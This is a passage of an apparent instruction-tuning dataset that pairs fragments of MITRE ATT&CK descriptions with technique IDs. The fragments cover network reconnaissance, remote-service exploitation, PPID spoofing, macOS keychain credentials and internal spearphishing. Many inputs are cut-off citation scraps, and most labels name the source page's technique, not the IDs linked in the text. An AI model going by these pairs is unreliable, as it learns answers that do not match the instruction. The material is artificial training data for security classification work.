"Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1590.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation:", "output": "T1590.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: ### Response: T1590.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Circl Passive DNS)", "output": "T1590.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Circl Passive DNS) ### Response: T1590.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or", "output": "T1590.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or ### Response: T1590.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "output": "T1590.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). ### Response: T1590.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's network trust dependencies that can be used during targeting.", "output": "T1590.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. ### Response: T1590.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access.", "output": "T1590.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. ### Response: T1590.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1590.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1590.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: Pentesting AD Forests)", "output": "T1590.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: Pentesting AD Forests) ### Response: T1590.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or", "output": "T1590.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or ### Response: T1590.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "output": "T1590.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). ### Response: T1590.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's network topology that can be used during targeting.", "output": "T1590.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's network topology that can be used during targeting. ### Response: T1590.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments.", "output": "T1590.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. ### Response: T1590.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure.", "output": "T1590.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure. ### Response: T1590.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1590.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1590.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: DNS Dumpster)", "output": "T1590.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: DNS Dumpster) ### Response: T1590.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or", "output": "T1590.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or ### Response: T1590.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "output": "T1590.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). ### Response: T1590.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's network security appliances that can be used during targeting.", "output": "T1590.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's network security appliances that can be used during targeting. ### Response: T1590.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts.", "output": "T1590.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. ### Response: T1590.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations.", "output": "T1590.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations. ### Response: T1590.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation:", "output": "T1590.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation: ### Response: T1590.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Nmap Firewalls NIDS)", "output": "T1590.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Nmap Firewalls NIDS) ### Response: T1590.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).", "output": "T1590.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). ### Response: T1590.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or", "output": "T1590.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or ### Response: T1590.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "output": "T1590.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). ### Response: T1590.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's networks that can be used during targeting.", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's networks that can be used during targeting. ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations. ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation:", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Circl Passive DNS)", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Circl Passive DNS) ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network.", "output": "T1210", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. ### Response: T1210."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.", "output": "T1210", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. ### Response: T1210."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.", "output": "T1210", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system. ### Response: T1210."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Discovery](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities,  or security software that may be used to detect or contain remote exploitation.", "output": "T1210", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Discovery](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities,  or security software that may be used to detect or contain remote exploitation. ### Response: T1210."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.", "output": "T1210", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources. ### Response: T1210."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services.(Citation: NVD CVE-2014-7169)", "output": "T1210", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services.(Citation: NVD CVE-2014-7169) ### Response: T1210."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.", "output": "T1210", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well. ### Response: T1210."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges.", "output": "T1502", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. ### Response: T1502."}{"instruction": "List the MITRE techniques contained in the text.", "input": "New processes are typically spawned directly from their parent, or calling, process unless explicitly specified.", "output": "T1502", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. ### Response: T1502."}{"instruction": "List the MITRE techniques contained in the text.", "input": "One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009)", "output": "T1502", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) ### Response: T1502."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.(Citation:", "output": "T1502", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.(Citation: ### Response: T1502."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft UAC Nov 2018)", "output": "T1502", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft UAC Nov 2018) ### Response: T1502."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1086)/[Rundll32](https://attack.mitre.org/techniques/T1085) to be <code>explorer.exe</code> rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193).(Citation: CounterCept PPID Spoofing Dec 2018)", "output": "T1502", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1086)/[Rundll32](https://attack.mitre.org/techniques/T1085) to be <code>explorer.exe</code> rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193).(Citation: CounterCept PPID Spoofing Dec 2018) ### Response: T1502."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This spoofing could be executed via VBA [Scripting](https://attack.mitre.org/techniques/T1064) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation:", "output": "T1502", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This spoofing could be executed via VBA [Scripting](https://attack.mitre.org/techniques/T1064) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: ### Response: T1502."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) (given appropriate access rights to the parent process).", "output": "T1502", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) (given appropriate access rights to the parent process). ### Response: T1502."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)", "output": "T1502", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017) ### Response: T1502."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos.", "output": "T1142", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. ### Response: T1142."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Keychain files are located in <code>~/Library/Keychains/</code>,<code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>.", "output": "T1142", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Keychain files are located in <code>~/Library/Keychains/</code>,<code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>. ### Response: T1142."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Wikipedia keychain)", "output": "T1142", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Wikipedia keychain) ### Response: T1142."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>security</code> command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.", "output": "T1142", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>security</code> command-line utility, which is built into macOS by default, provides a useful way to manage these credentials. ### Response: T1142."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To manage their credentials, users have to use additional credentials to access their keychain.", "output": "T1142", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To manage their credentials, users have to use additional credentials to access their keychain. ### Response: T1142."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault.", "output": "T1142", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. ### Response: T1142."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user\u2019s logon credentials.", "output": "T1142", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user\u2019s logon credentials. ### Response: T1142."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment.", "output": "T1534", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. ### Response: T1534."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Internal spearphishing is multi-staged campaign where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user.", "output": "T1534", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Internal spearphishing is multi-staged campaign where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user. ### Response: T1534."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.(Citation:", "output": "T1534", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.(Citation: ### Response: T1534."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Trend Micro When Phishing Starts from the Inside 2017)", "output": "T1534", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Trend Micro When Phishing Starts from the Inside 2017) ### Response: T1534."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to 